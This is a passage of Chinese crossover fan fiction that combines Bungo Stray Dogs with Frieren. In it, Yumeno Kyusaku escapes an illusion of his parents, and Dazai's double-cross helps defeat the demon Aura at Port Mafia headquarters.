这次是要利用我做什么呢……哦,原来是父母要来接他回家。
…
……
什么?!!!
梦野久作猛地抬起头,一股子荒诞自心底升腾并蔓延开来。他走到门口,踮起脚,借着看视窗望向外头的人,眼里满是认真。
“你说,谁来接我……”回家?他屏着呼吸,语速很快。
不知道是因为激动还是什么原因,梦野久作那张因为常年不见天日而苍白的脸涨得通红。
“嗨,还能是谁,刚刚不就说了么。”来人咧开嘴笑起来。
他的嘴唇一张一和,吐出来的话语却一个字一个字敲在梦野久作的心上,让久作差点晕过去。
“当然是您的父母▓▓和▓▓。”
……
大门被打开,梦野久作站在门口,他冷眼看着一个身着黑衣服的港口Mafia成员走了进来。
没有穿任何防护,眼底也没有一点不情愿,反而是满满的尊敬。
梦野久作观察着面前这个很明显是Mafia底层的炮灰人士。
“奇怪,大人怎么又把房屋搞得这么黑?要多见见阳光啊。”
这个高大的成员一边把窗帘掀开,一边困惑回头对梦野久作说道。
梦野久作瞪大的眼睛里倒映着成员的身影,和一下子变得亮堂堂的居所——屋内摆设简单又温馨,与刑/房似的囚/禁/所截然相反。
……居然,不是监/禁/室吗?
这个高大的成员见梦野久作仰着头看自己,怕他看得费劲,于是蹲了下来,和久作目光平视。
“大人,我们现在出发吧,其他几位大人估计也要等急了,对了,要吃糖么,是芥川大人带来的。”
等等,先不提房间问题了,这哄人的语气,这家伙居然把我当成普通小孩了吗……来之前,没有人警告他么?
梦野久作烦躁地拧起眉。
“久作,等你半天了,还没有准备好吗?”熟悉的声音忽然自身后响起,一个戴着黑帽的橘发青年走了过来。
中原中也。
他不应该出差了吗?梦野久作心底胡疑,但很快记忆涌上心头……不对,他一直都在,和太宰治一起搭档,像大哥哥一样纵容他,常常背他来着。
“久作久作,要迟到了啦,快走快走。”金发的女孩小炮仗一样冲了过来,一把揽住梦野久作的胳膊。
“慢死啦,笨蛋久作!”她看起来比小鸟还欢快。
啊,还有爱丽丝……他们也曾经常一块玩,在过去是非常要好的玩伴。
等等,过去,原来如此,梦野久作笑起来,是回到了刚来港口Mafia的时候了吗?
不过,虽然那会是挺自由的,但以森先生那利益至上的座右铭,也不至于会放他回家吧。
……
芙莉莲隐隐约约感觉自己不应该处于这里。
五感,记忆,魔力探知……一切都是真实的,比梦野久作先前塑造的幻觉还要真实,真实到难以打破。但刚刚稍微有些许震颤,暴露出这里并非现实。是因为魔力不稳定吗,现在应该是在谁的魔法里面吧……好眼熟,是魔族七崩贤之一的奇迹吧,他居然也参与进来了,是藏在阿乌拉身后么?
芙莉莲望向她前方,被簇拥着的梦野久作,周围没有一个人看得到芙莉莲,就仿佛她是一个透明的鬼魂。
这个“现实”实现的是他的愿望。
但是她没有办法阻止。
果然是因为平时太依赖魔力探知了么……在“现实”里,芙莉莲的武器并不在身旁,她下意识用手指绕起头发。
……
换好了衣服,换了干净的绷带,梦野久作很久没有被打扮得这样清清爽爽过了。
他站在五角大楼一楼的门口,站在门槛前,他望着外面无垠的天空,和面前在梦里出现过了千万遍的两道人影。
这么轻易就实现的渴望让他内心有点踌躇。
“快去吧。”爱丽丝在梦野久作身后轻轻推了一把。
梦野久作回过头,对上她湛蓝似晴空的眼眸,单纯的美好的,盈满了祝愿与幸福。
他往前迈出了一步,还没反应过来,他的父母便冲了过来,一把将他揽入怀中。
父母温柔地搂着久作,滚烫的泪水滑落,满是思念和后悔。
“久作,别怕,爸爸妈妈在这,我们来接你回家。”
接他回家。
多么美好的四个字。
不知是真是假的泪水滴落在梦野久作的手背上,温热的,仿佛烫到他的心。
他感觉脑子也跟着陶陶然起来,晕乎乎的,像被棉花被子紧紧地包裹住,都不属于自己了。
梦野久作有点不舍得离开这个怀抱。
但是很快——
他就不这么想了。
父母的下一句话让梦野久作的手脚和心一块迅速冷却,冰凉降落至谷底。
“久作,这些给你带来坏回忆的东西就扔了吧,比如这个人偶,还有这些绷带,我们去好好上药,好好治疗,一起去创造更加温暖的记忆。”
“……爸爸妈妈,你们是说……”梦野久作僵硬地抬起头,一顿一顿,像老旧卡顿的小机器人。他怔愣地望着他记忆里无数次思念过的两张面庞,声音干涩,“你们要把我的玩偶扔掉吗?”
“抱歉啊久作,但是它太脏了,也这么破破烂烂,”母亲轻轻揉着他的脑袋,声音也很轻缓,像天边的白云,或者是柔软的绸带,“到时候爸爸妈妈给久作换新的,好不好?”
一旁的父亲则从怀里掏出一个精致崭新的玩偶,他穿着干净整洁的小西装,每一根针脚都缝得很漂亮。
“这是路上给久作带的,
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之后爸爸妈妈还会给久作更多更好看的玩偶,来久作,把它交给我们吧。”
…
……
梦野久作闭上眼睛。
假的。
港口Mafia的各位。
假的假的假的。
回家的希望。
假的假的假的假的,都是假的!
这才不是他的父母。
玩偶,他珍惜他的玩偶,却不得不通过破坏制造异能,旁人也不理解,为什么他会珍惜这在外人看来恐怖到极点的玩偶。
——因为这是久作爸爸妈妈给他的第一个礼物。
他一直和它玩耍,后面觉醒了异能也与它有关。
虽然后来久作的父母因为害怕久作,把他放弃了,让他沦落到了港口Mafia的手上,成为被关押的武器,但他也没有把玩偶丢弃。
一个玩偶,使用了多年的玩偶,早已破破烂烂,可是每一次久作都会一点点把它修好。
即使它在旁人看来丑陋;
即使它在旁人看来恐怖;
即使旁人都不爱它——
久作依旧爱它。
就好像在安静缝补破烂的自己。
所以,久作永远不会抛弃他的玩偶。
原本还满脸慕濡的久作,直接面无表情地起身,后退了几步,他的心里头是一片空洞,风从里面吹过,只有干巴巴的凉意。
是啊,连记忆也是假的,现实里,是他们先抛弃的他啊,他们又怎么会回来!
骗子,都是骗子!
“怎么了久作?”
“快过来啊我的孩子。”
在那两张相似的虚假的面庞前,久作突然笑出了声。
“原来,我的幻觉也是给人这种感觉的吗?”
“……果然啊,我想,我永远不会喜欢自己的异能。”
这一次,他面上的笑意越来越大,很灿烂的微笑,可是眼底却有晶亮的泪珠滚动,顺着脸颊滑落。
他想起来了。
“大姐姐,真的好痛啊,这才是真实,对吧?”梦野久作神色清明。
他的身后,芙莉莲有了真实的触感,变回了实体。
啊,变回来了。芙莉莲垂下眼,其实,只要梦野久作意识到不对就能变回来的。之前他明明已经有所预感,但是原来现在才希望破裂么。
“久作,你在说什么啊?”父母的笑容变得有点儿尴尬。
梦野久作近乎贪婪地注视着他们的表情,没有惊慌没有恐惧,温和而克制,真是多么美好的梦啊!
而且这里的一切也都如同现实一样,温热的肌肤,湛蓝的天空,清新的空气……让人忍不住想,如果能一直一直在这里生活下去也好啊。
但是都是假的。
他现在应该在昏暗的港口Mafia内部,而他的面前站着的是敌人。
如果没有记错,在站在这里之前,他刚把刀片藏在他的娃娃里……这异能的主人打造出这样的幻觉,是想要阻止他发动能力吗?
梦野久作冷着脸,将玩偶撕成两半,虽然没有看到刀片的掉落,可是他依旧能够感觉到锋利的刀锋划破肌肤的触感和熟悉的疼痛。
“【脑髓地狱】。”
浓重的厌恶在眼底交织,无论是这场幻觉,这种疼痛,还是他的异能都令梦野久作止不住作呕。
27.惊喜
……
【外界】
“【罗生门】”
“【脑髓地狱】”
芥川龙之介和梦野久作都紧闭着双眼,但他们的声音却冲破幻觉,先后响起。
芥川的异能在庇护住三人的同时,凛冽地摧毁着四周。
梦野久作则抬起头,在他动用异能的那一刻,飞溅的碎石停止下落,嘈杂瞬时安静,时间仿佛在此刻悬停。
【异能特异点】
相似的能力带来的异常。
无论是阿乌拉也好,还是奇迹之格拉奥萨姆也罢,他们擅长的都是精神系的魔法。
所以他们都将梦野久作,这个始终被囚/禁在阴暗居室的孩子视为隐藏威胁,在这如铁桶般受掌控的地盘上,他是唯一的缺口。
可即便是清楚异能的特质,作为异世界的来客,他们因为某些原因,一时半会也不了解久作的异能触发条件……
一提到这所谓某些原因,阿乌拉就会很不爽,她的抱怨一定程度就是真相——森鸥外这家伙,真是只老狐狸,心眼子多得要命,连自己的记忆都要隐瞒。早知道就不那么暴力地获取港口Mafia权力了,动作太大,居然被警觉了,还让他们藏了不少东西。
所以,出于谨慎,两个大魔族谁都不愿意直接对梦野久作下手。
谁也奈何不了谁,直到局外因素的出现……
芙莉莲,这个葬送了不少魔族的魔法使让格拉奥萨姆发现了久作异能的秘密,被隐瞒着的触发条件。
他理所当然地想先下手为强——却不料想,算漏了芥川龙之介这位合格的港口Mafia。
虚空中,格拉奥萨姆仿佛看到了那双来自地狱的黑色眼眸。
【真是遗憾呐,只能等下次了。】
东京都市郊外,格拉奥萨姆合上书,在众咒灵面面相觑的视线里轻轻叹气。
……
【脑髓地狱】与格拉奥萨姆的【乐园引渡魔法】相互抵消。
终于,他们从足够现实的梦境里醒来。
带着阴森气息的大门映入眼帘,前方就是首领办公室了。
滴答——鲜血滴落到地面,梦野久作出神地看着手里破碎的玩偶,将异能取消,于是玩偶又恢复了原状。不过,在发动异能前,在得知梦境真相时,他曾下意识攥紧过它,所以上面的痕迹有点儿明显。
梦野久作轻轻用指腹将这些皱痕抹平。
过往容易失控的能力,现在似乎稍微能掌控一点了。
他仰起头瞥了眼一旁的芥川龙之介。
在那恍若现实的梦里,梦野久作一开始其实是能隐约感受到外界危险的,当时空间的振动就是来自芥川龙之介。
芥川站在一旁,手抵着嘴,压抑下喉间的痒意,脊梁挺得很直,眼里看不出一丝情绪,只是沉默地站在那里。
吱呀,门缓慢地自动打开,吸引了三人的目光。
阿乌拉慵懒的声音传来:“进来吧,芙莉莲,我可是给你准备好了惊喜哦,不知道你满不满意呢?”
“哦对了,差点忘了,还有你身后的两只小跟班,一起进来吧。”
芙莉莲平静地走上前,久作和芥川,也毫无停顿地跟上。
“这就是你准备的惊喜?”
走进此地,芙莉莲第一眼就看到了处于正中央的阿乌拉。
她望着这个被武装侦探社成员和港口Mafia首领簇拥着的粉发少女,蹙起眉。
除了在底部苦苦支撑的国木田,中岛敦和被捕的太宰治,社长与乱步外,武装侦探社的其他人都在这里了。
可是,此刻的他们,一个个身姿僵硬,目光平直,神态呆板,竟是全部变成了阿乌拉的傀儡。
虽然芙莉莲的面上表情依旧算得上淡然,但这个敏锐的大魔族却能够明显感觉到——
“怎么啦,你这就生气了?这可不太像你啊,芙莉莲。”阿乌拉的唇边溢开一抹笑意,眼里也荡起笑痕,轻快地说着,“你和他们才相处了几天,一天,两天还是三天?”
芙莉莲面无表情。
“哎呀,不要把表情做得这么死板嘛,”阿乌拉继续假模假样地嗔怪,“你想想看吧,就算是要抱怨,那也应该是由我来抱怨呀。”
她一只手拿着黄铜制的小天平,另一只手伸出来,随意地比了个二的动作。
“这么短的时间里,就一口气拐走了我大本营里的两件东西欸!两件欸!”
这口气,就好像梦野久作和芥川龙之介不过是她手底下,没有生命力的两个小物件似的。
“真是过分呐芙莉莲,要知道我可从来没有拿走过你的什么东西……”
“说完了吗?”芙莉莲平静开口。
正滔滔不绝的阿乌拉声音忽然一顿,她的身体下意识抖了抖。
等意识到自己干了什么以后,阿乌拉暗暗在心里叼手绢,为自己这丢人反应感到懊恼。
总之都是芙莉莲的错!她愤愤地想。
很快,大魔族就很有经验地,努力地克服了被芙莉莲气势吓出来的生理反应,她挺直了腰杆,调整姿势,试图不动声色地挽回尊严。
“当然没有。”阿乌拉坐在高座之上,轻轻点了点椅子,手指碰着木质的把手,发出清脆的声音,在针落可闻的氛围里显得十分刺耳。
“真是的,都这么久没见了,我们好好叙叙旧嘛,打来打去还是太粗鲁了一点不是么?”
芙莉莲静静地看对面想闹什么幺蛾子。
“我们的人,本来想去晚香堂一窝端来着,没想到——”果然,还没和人类似的寒暄几句,阿乌拉就暴露本质了。
她故作苦恼,伸出一根手指,点了点天平的一端,天平失去平衡,立刻摇摆起来:“哎呀呀,居然扑了个空。”
“不得不说,武装侦探社的侦探有那么一手呢。”
“不过呢……”粉发的少女抬起眼,暗色在她眼底涌动,“还好我们也有内应嘛,还是你熟悉的人哦。”
“芙莉莲,要不要来猜猜看,是谁出卖的你们呢?”
五百年的大魔族笑容里藏着不怀好意。
芙莉莲直视着这个得意忘形的家伙,没有说话,她并不屑于去进行什么猜谜小游戏。
不过很快,也许是太得意了,阿乌拉便迫不及待地自己揭示了答案。
“——是太宰治哦。”
“本来的话,小侦探嘱托的分散形式会让我们很难办来着,很难捉的,但是好在我们还有个太宰治能够让他们集合在这里,方便一网打尽咯。
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”
芙莉莲还没有什么反应,一旁的芥川龙之介就猛得抬起头。
“不可能。”黑色的野犬这样笃定地断言,他瞪大了眼睛,有愤怒的火焰在这眼里头燃烧,“太宰先生不会这么做。”
“怎么不可能,我看他呀,可比我们这些非人还要非人呢。”阿乌拉好笑地耸耸肩。
这话她说的可是再真心不过了。
“住口,”芥川龙之介苍白的脸色都被气到涨红,【罗生门】自他身后抬头,“不准你这么说太宰先生!”
“真粗鲁。”
阿乌拉面上依旧笑盈盈的,她维持着优雅的姿态,只是动了动手指,操纵状态的武装侦探社众人便一拥而上,阻拦下芥川龙之介的进攻。
轰——
赤色金色黑色……不同色彩的文字浮现,各色异能力交织,一场异能力者的战斗。
碎石与砖块横飞,尘埃弥漫。
好好的首领办公室被折腾得一团糟。
大魔族兴味盎然地注视着底下的交战,如同一只被簇拥在王座之上的女王蜂。
直到身后出现了一道黑影。
看得挪不开眼的阿乌拉没有回头,只是微微颔首:“你来了。”
那黑影不发一言。
“还好和福地樱痴有合作,不然要去警/局捞你也不容易呐。”阿乌拉当然不在乎一个小小人类的态度,她随意把玩脸颊一侧的头发,“好好保管我们交给你的【书】,到时候,格拉奥萨姆会给你想要的。”
来人原来是太宰治。
在昏暗的灯光下,鸢眼黑发的青年脸上划过一道意味不明的微笑。
“……好啊。”
他说。
一旁的芥川龙之介,原本正和武装侦探社众人打得有来有回,耳畔边忽然传来太宰治的声音,他猛得抬头,很惊讶:“太宰先生?!”
这一时的失神使得对面找到了可乘之机。
“不惧汛雨,不畏疾风,也不怕铁管呀刀具呀,也不畏金属铁棒……”*
被【无畏风雨】加持了力气的宫泽贤治,一拳将他打飞出去,芥川来不及防御,整个人因为惯性被直接打到了墙壁里,又顺着滑落到地面,他低垂着头与手,不动了。
那饱经沧桑的墙壁也因此泛起蜘蛛网般的裂痕。
“呀,芥川君很在乎你呢,太宰君。”阿乌拉指指点点,“结果你居然还要叛逃,跑到隔壁耶。”
“如果我没有记错的话,芥川君是太宰君的弟子对不对,”大魔族眯起眼睛,微微向前俯身,“那么,我就重新帮你把他拿回来,怎么样?”
重新拿回来。
这不过是想让芥川龙之介重新变成阿乌拉傀儡的借口。
“我倒是无所谓。”看出来阿乌拉的真实目的,太宰治干脆顺着她的话来。
很明显,阿乌拉欣赏他的识趣,面上慵懒的笑容也扩大了几分。
她轻轻拍了拍掌,武装侦探社的傀儡们很快动了起来,朝芥川龙之介的位置走去。
忽然,一把木质的法杖横在武侦众人与芥川之间,阻挡了他们前行的步伐。
芙莉莲挡在晕倒的芥川龙之介前面,魔力附着在她的身上。
“抱歉。”莹白的光芒绽放。
28.怒火
强横的魔法在打到武侦众人身上之前,临时转了个个,直指一旁看戏的阿乌拉的眉心。
铮——
一根粗针管挡在阿乌拉面前。
阿乌拉身边随侍的爱丽丝又一次变成护士打扮,身为异能的她抱着巨型针筒,拦下这次进攻。
短暂的交锋让空气都忍不住为之震颤,激荡产生气流,这股气流又将阿乌拉的发丝吹拂起来,但她的瞳孔却不曾因为这种情况而放大一毫。
依旧维持着云淡风轻的姿态。
因为——这只是试探而已。
“芙莉莲,”阿乌拉轻笑一声,“你们人类*总是这样被彼此牵绊,于是,原本没有弱点的事物也会破绽百出。”
偏灰般冷硬的蓝紫色眸子微微弯起,她在高处,与低处的芙莉莲对视,非人的质感愈发明显。
“多么愚蠢,不是么?”
这是一道极其轻柔的叹气,不带任何感情的宣判。
不过她可没指望芙莉莲回答,只是若有所思地点头:“人类果然最了解人类,也最会下死手。”
之前一个大军都拦不住芙莉莲,现在拿这么点还存了些许生命的人就能够牵制住她了……”
阿乌拉回过头:“你的这个建议用起来倒是不错呢,太宰治。”
“……是吗,我的荣幸。”她后方一身风衣的太宰治双手插兜,维持着笑面。
……
下方的战斗还在继续。
【细雪】的幕布悄然拉开,荧绿色文字屏障流转变动,无声的小雪落下,如同一道道电子屏幕,将武侦众人隐藏。
安静,安静得连根针掉落到地面也能听到声音。
“大姐姐,你的力量还是要好好保持,去对付那个怪物,对吧?”
梦野久作始终站在芙莉莲身边,虽然在看到太宰治的时候下意识躲到了她的身后,但是依旧没有离芙莉莲太远,因此也被卷了进来。
他眯起眼,星星与圆圈在他眼里跳跃:“那么,你现在需要我的异能吗?”
芙莉莲还没有回答他,忽然,只听得一道快速的鸣声。
嗡——下一秒,谷崎润一郎闪现贴脸,他挥舞的匕首被芙莉莲的防御魔法拦下。
同时,侧面又直直冒出一把砍刀,强行拉开芙莉莲和梦野久作之间的距离,这把刀来自与谢野晶子。
好在芙莉莲早有防备心,又一次护着梦野久作挡下。
“【夜叉白雪】!”持剑的人型异能横劈而来,不过很快泉镜花的攻击便被阻碍,但她似乎早有预料,闪开身子。
“身强气盛,不思贪恋,不动火性,时时乐天闲情……”*
宫泽贤治从她身后突然出现,伸出拳头,【无畏风雨】发动。
力道很大,几乎要碾碎防御屏障,芙莉莲握着法杖的手猛得用力,宫泽贤治被震了出去。
武侦众人发动着攻击,可是都或多或少微妙地避开了梦野久作和他手里的玩偶。看来格拉奥萨姆在失败的同时,也给他的同事阿乌拉通风报信了一回。
各色异能再度涌现,迸溅起战斗的火花,激烈至极,眼花缭乱,芙莉莲一一将之阻挡化解。
但是,一直防御并不是一个好办法,防御魔法对魔力的消耗太大了,远超过攻击。
或许应该换一种思路……
芙莉莲一边抵挡一边想,一时不查,匕首再次刺向她的眼睛。
看起来似乎糟糕了,但其实还能挡……不对,没有杀气。
在离芙莉莲瞳孔还有一厘米时,匕首忽然停了动作,芙莉莲一顿,对上谷崎润一郎的脸。
谷崎润一郎朝她眨眨眼睛。
原来,他们并没有被控制。
在演戏么……芙莉莲不着痕迹地用余光瞥向阿乌拉,看来是演给她看的。
借着【细雪】和远距离的遮掩,能够稍微糊弄过去。
但是为什么要这么做呢?难道是……
果然,下一秒,武装侦探社众人的异能集体调转,一齐袭向自以为胜券在握的阿乌拉。
而同时,阿乌拉身边唯一的护卫森鸥外也被太宰治搭上了肩膀。
活人的时候不好抓,但是被控制的状态,反应可就不那么敏锐了。
爱丽丝的身影像掉线般闪烁几秒,化为虚无。
阿乌拉猛地站起来,回过头,对上了太宰治平静的鸢色双眸。
【人间失格】,太宰治的异能,能够将触碰到他身体的任何异能无效化。
形势陡然逆转。
“不可能,你的异能我一直提防着,你是不可能有触碰到我的机会的。”
“而且他们之后也没有被梦野久作触碰到,”阿乌拉惯有的冷静被打破,“怎么可能脱离控制,究竟是什么时候……”
她后退几步,忽然想到了什么,眼睛放大:“难道是——”
【一小时前】
……
一个白发蓝眼,眼绑黑色条带的男子凭空冒了出来,他在废弃仓库的一角出现,半弯下腰,对着箱子堆叠形成的藏身之处打了个招呼:“嗨!”
一把还带着血的柴刀瞬间暴起,大开大合之间,直击来者脑门。
男子一个闪身躲过,同时伸出两根手指夹住了利刃:“我只是一个传信人啦,晶子小姐,是太宰治让你去港口Mafia。”
与谢野晶子从狭小黑暗的掩蔽处站起身,她拍拍身上的灰尘,望向来人。
刚刚本是因为警惕才下意识动手的,现在忽然听到熟人名字,也察觉到对面没有攻击意图。于是,与谢野医生便上下打量了男人一番,很快把他的身份给认了出来:“咒术界的最强——五条悟?”
男子点点头,算是承认了自己的这个名头。
“太宰那家伙还说了什么吗?”
“让你们诈败佯输哦。”被黑布遮住的六眼眯起。
随后,在横滨郊外的森林里,谷崎润一郎带着泉镜花,刚好和宫泽贤治汇合,同样从利用咒术瞬移闪现的五条悟口中知道了计划。
他们一起来到港口Mafia,一起假装被毒气迷晕,一起被送到首领办公室。
【港口Mafia最高层】
“太宰治,你拜托的人效率确实蛮高嘛。”阿乌拉单手撑着下巴,她瞥向太宰治,他刚从警/察/局里带出来,双手双腿还拷着镣铐,不能动弹。
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明明很狼狈了,但太宰治的神情却还是很自然,很有把握的样子。
阿乌拉很欣赏这一点,临危不惧。
很有意思,让她想起了芙莉莲。
魔族敬佩强者,不仅是力量上的强者,还有意志上的强者。
沉默的侍从恰时把昏迷的武装侦探社众人带上前。
她扭过头问太宰治:“你的【书】还在身上么?”
他们魔族选择太宰治合作,自然是图用他的能力来封印【书】的。
“当然。”
阿乌拉无可无不可地点点头,但是忽然,她动作一顿,烦躁地冲太宰治道:“【书】,拿过来。”
太宰治没有过问她突然转变想法的用意,淡定地走上前。
虽然这一转变稍微和计划需要不一样,但是也能利用一二……
在阿乌拉一边拿【书】,一边漫不经心地操控天平运用【服从魔法】之时,镣铐悄然松开一部分,皮肤触碰到了她的发尾。
魔族的傲慢让他们不会刻意去了解小小人类掌握的普通技能,比如说,撬锁。
于是自然而然地,这场【服从魔法】失效了。
……
“居然是那个时候。”阿乌拉暗暗磨牙。
阴沟里翻船,这对她来说算得上是一次奇耻大辱。
毕竟先前,阿乌拉的最后一次死亡,就是阴沟里翻船。
如果正面作战,芙莉莲不一定能赢得过她。
而且,她可是堂堂魔族七崩贤之一,那一次死亡,好歹对手是强大的精灵魔法使,可这一次的吃瘪,却是来自一个普通渺小的人类。
怒气充盈了阿乌拉的内心。
她阴恻恻道:“你不会真的以为,我活了五百多年却只会一种魔法吧?”
“我只是最擅长它而已。”
空气中的无形的魔力一点点汇聚,渐渐聚拢,聚拢的光辉璀璨,竟让无形之物都化出了身形。
魔族拥有漫长的寿命,与生俱来的魔力高亲和力和优越的技巧控制。
人类现有的魔法体系是没办法去彻底理解和证明魔族魔法的,或许百年千年之后才勉强能解析一丝半点,因为那是【奇迹】。
使用魔法于他们不过是本能。
耀眼的魔力光束涌现,带着声势浩大的力量,空气也被一同压下。
粉发的少女神情里尽是无机质的冰冷——或许,这才是魔族的本质。
近似人类外表的皮囊,不同的性情与生动的展现,都不过是为了猎食而披上的伪装。
他们的本质是兽。
被愚弄的情绪在这个大魔族的心头堆积,一时之间竟超过了对芙莉莲的在意,此刻,阿乌拉满脑子都是想要处理掉面前这个该死的人类。
就算是同事格拉奥萨姆来劝说,也绝对拦不下来。
“准备好死亡了吗?”阿乌拉勾起一抹微笑,裙摆飘扬。
似兽般的眼死死盯着面前的男人,她像是要把他此刻的状态刻印到脑子里,好和他之后,凄惨地死去之后的模样做个对比,这样才足够畅快,足够让她释怀。
“太、宰、治。”
阿乌拉一字一顿道。
29.织田作
啊哦,稍微有点玩脱了呢。
太宰治抬起眼,面无表情地面对即将到来的灭顶魔法,黑色的发丝被它造出的罡风吹得凌乱。
他可没料到阿乌拉会有这种程度的怒气。
不过这也不能完全怪他,毕竟阿乌拉是异世界的来客,没有情报基础,是很难进行人格分析的。
那么,接下来应该怎么办呢?
虽然也有假设过阿乌拉发怒的场景,但是这种程度,看来要启动备用计划了……最强应该拦得下来吧?
太宰治抬起头,看向虚空,他仿佛在和一双湛蓝通透的眼睛对视。
浩大强势的魔法距离太宰治仅一步之遥,他动了动手指。
太宰治感受着心脏的搏动,在心底默念。
三,二……
忽然,一道熟悉的人影出现在他面前,心跳快了半拍,打断了拍子计数。
……什么?
原本的动作一顿,太宰治手指微颤,合拢成拳。
这道背影,他再熟悉不过了。
红色的头发和染血的米色旧外套。
但是四年前,那个人就已经死在了他的怀中。
“织田作……”他喃喃出声,填充了各种谋划的大脑此刻完全放空,一片白茫茫。
【织田作之助】
他的挚友,也是他想要抓住复活魔法这个渺茫希望,不惜与虎谋皮,踩着钢丝前行的原因,唯一原因。
此刻,男人就如生前般站在太宰治面前,替他挡下了这强大的一击。
芙莉莲凝眸——不是灵魂,依旧是思念。
和她遇到的故人们一样。
“太宰。”
织田作回过头,未被岁月消蚀的面容一如过去,一如他们最后的那张合照般。
“不用再为我而费力了。”
“活下去,在光明的一处继续活下去吧。”
织田作的幻影伸出手。
叮。
但在即将触碰到太宰治头发的那一刻,这道幻影便如碎片般溃散。
“织田作——”太宰治下意识伸手去抓,却扑了个空。
他愣神地看着自己的掌心。
……
其实太宰治早就隐约猜到过,复活魔法是假,但他却仍不愿意相信,甘心冒着风险来谋划,像个赌徒一样,期待着万分之一的奇迹。
如果能复活织田作的话,那便用言语引导,确保过程在可控范围,等实现了目的,再在那一刻消灭魔族,这样也不会迟吧。
这是太宰治最初的想法。
于是他一而再地向芙莉莲确认,反复地确认,他猜到了,却放任自己被真相一次又一次剥开,被真相一次又一次撕裂,通过疼痛放弃念想,克制自己。
明明抛却理智,就能不那么痛苦,但他既然察觉了,就不能沉溺于此。
聪明人的悲哀。
因为他曾经答应过织田作——
【去成为救人的那一方吧,如果待在哪边都一样的话,就去成为好人吧。】*
一个好人可不能有放任的想法啊。
而如今,明明已经放弃,却意外再见友人的身影。
尽管如此短暂。
多年前,他为了孩子们的死,与敌人决斗牺牲,如今,又为了他,再一次死去……是这样吧,是这样啊。
然而,然而。
攻击被抵消至无,阿乌拉本来应该更加恼怒的,但是她看到太宰治的反应,又很快冷静了下来。
阿乌拉漂浮在空中,双手抱臂。
“你很在乎他,”魔族并不能理解这种奇怪,她郁闷地纳罕道,“那为什么会背叛?”
像这种有弱点,又有执念的人类,按照魔族的研究观察,应该是会为了一切渺茫的希望而奋斗,试图从万般不可能里抓住妄想的近乎零的可能性。
就算是真的知道是假的,也不会轻易放弃,至少会等到最后一刻才对啊。
“阿乌拉。”芙莉莲的声音打断了阿乌拉的思考,她举起法杖。
按照现在这个走向,阿乌拉使用【服从魔法】的概率不超过百分之二十。
她将法杖横起,直指面前的大魔族。
白色的双马尾飞扬,连带着裙摆也被无形的风吹得猎猎作响。
无色的权柄闪耀,巨大到足以遮蔽整个横滨的王剑在她头顶倒悬。
磅礴的魔力如风暴般旋转聚拢。
“不可能,你怎么会突然拥有这么多的魔力,不可能的。”
魔族对魔力一向敏感,
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阿乌拉的身体下意识颤抖起来,她抬起头,瞳孔震颤。
“怎么可能,难道是,难道是王剑?石板,你你你,你难不成和石板做了交易?!”
“还有这看不见的威压,没有颜色但是能够感受到剑的形态……无色之王的权柄被回收了?”
魔力柱倾泻而下,白光充盈了整个空间,刺得人睁不开眼。
就这样……结束了吗?大家的心头浮现出一致的想法。
不,当然不是。
那是以假乱真的幻影。
芙莉莲皱起眉,在阿乌拉消散的那一刹那,她捕捉到了一丝异样而熟悉的魔力,和她在进来之前遇到的幻觉是一样的构成。
奇迹之格拉奥萨姆,连石板都被瞒过去了吗……
【医务室内】
“呼——好险,”阿乌拉出现在港口Mafia大楼的医务室处,她深呼吸一口气,“虽然不想承认,但是,还好有格拉奥萨姆这个家伙。”
“差一点就要死掉了,好可怕。”她抬起手,手指尖还在因为死亡而无意识抖动,她想拿杯水喝一口,结果刚刚拿起,就因为不稳而摔到地上,碎了。
“啧。”阿乌拉蹙眉,“果然,还好带了好用的傀儡。”
她拍拍掌,森鸥外从门处走了过来,穿着一身白大褂,医师的打扮。
不止首领办公室的她是假的,那里的森鸥外傀儡也是假的。
魔法和异能力终究不是完全相同,无效化异能只能在他们发动魔法的时刻才能起到作用。
“去给我重新倒杯水。”阿乌拉指使道。
森鸥外顺从地出门。
“芙莉莲获得了无色之王的能力,计划要改变了,该怎么办呢,”她摇晃着手里的天平,“算了,联系下格拉奥萨姆吧。”
“格拉奥萨姆?”
“……格拉奥萨姆?”
“奇迹?”
“……”
“奇怪,怎么一直联系不上,”阿乌拉苦恼道,“失联了,他不会是大意到被人干掉了吧?”
阿乌拉当然不在乎自己的同事的死亡与否,阿乌拉所担心的只有她自己,和她的利益与安全是否能得到保证。
这让她心烦。
奇怪,为什么会感到心慌?
30.重建
阿乌拉就这样一点点化作黑烟彻底地消散了。
始作俑者森鸥外淡定地用手帕把手术刀上的血迹拭去,放回大褂里。
他本来是想和芙莉莲谈谈,但因为组织内部已经被魔族破坏了不少,他作为首领,必须尽快组织起人手投入抢修工作当中。
真是可惜,而且想想看吧,重建——
“哎,又是一笔大支出呢。”森鸥外仿佛又变回了当时在甜品店里的那个颓废大叔,脸上的黑眼圈也更浓重了几分。
“我得先去忙了。”
他疲惫地走出门去,估计之后的港口Mafia,从上到下,都将成为无尽的加班地狱。
“……啊,忽然想起来,太宰如果要借用场地实验,”刚走到门口,森欧外顿住脚步,他侧过头,弯起眼,“这里应该就足够了吧?”
语言里隐隐的警告,空气里仿佛染上些许血腥味。
但是接下来,森欧外将双手一合,危险的气息便消失不见了。
“如果还需要更多的地方的话,我会很苦恼的。”
他笑着说,同时面朝着太宰治。
“什么呀,森先生是把我想成什么人了,真过分欸。”太宰治见状,抱怨起来,此刻的他又变回了平常那种轻松模样。
“啊呀,就体谅体谅一个被额外(重音)工作(重音)折磨到过度敏感的可怜人吧。”森欧外继续笑眯眯。
他们就这样在门口,你来我往地开始说起话来。
最后还是有成员来找,森鸥外才先一步停止谈话离开。
一旁的芙莉莲眨眨眼睛:他们刚刚是在聊日常,但是又怪怪的……总感觉刚刚发生了什么无形的刀光剑影。
终于,等到四下无人后,站立着的太宰治忽然发出声感慨。
“或许正是最优解的思维让他能够偶尔保持清醒吧。”
他指的森鸥外。
“你和他什么时候合作上的?”芙莉莲问道。
“一开始。”太宰治说,“真是感动的权衡,不是么?”
“联系曾经叛/逃的下属,还答应了他各种过分要求什么的……嗯,说起来,这么一看,反水背刺真的是效率最高的手段啊,屡试不爽呐。”说着,他的感慨里不由带上了回忆色彩。
“卑鄙的计谋。”芙莉莲握着法杖,这么说着,面上却带着笑。
“欸,欸——什么嘛,好刻薄的话啊。”太宰治半开玩笑道,“芙莉莲小姐的说法可真是让人心寒。”
“我可是克服了很多诱惑,拯救了世界和人类啊。”
“救世主?”
太宰治面部扭曲起来,就好像是听到了什么难以下咽的恶心词汇。
“别,可饶了我吧,救世主什么,呕……”
真奇怪,居然会有不喜欢这种正义名号的么。
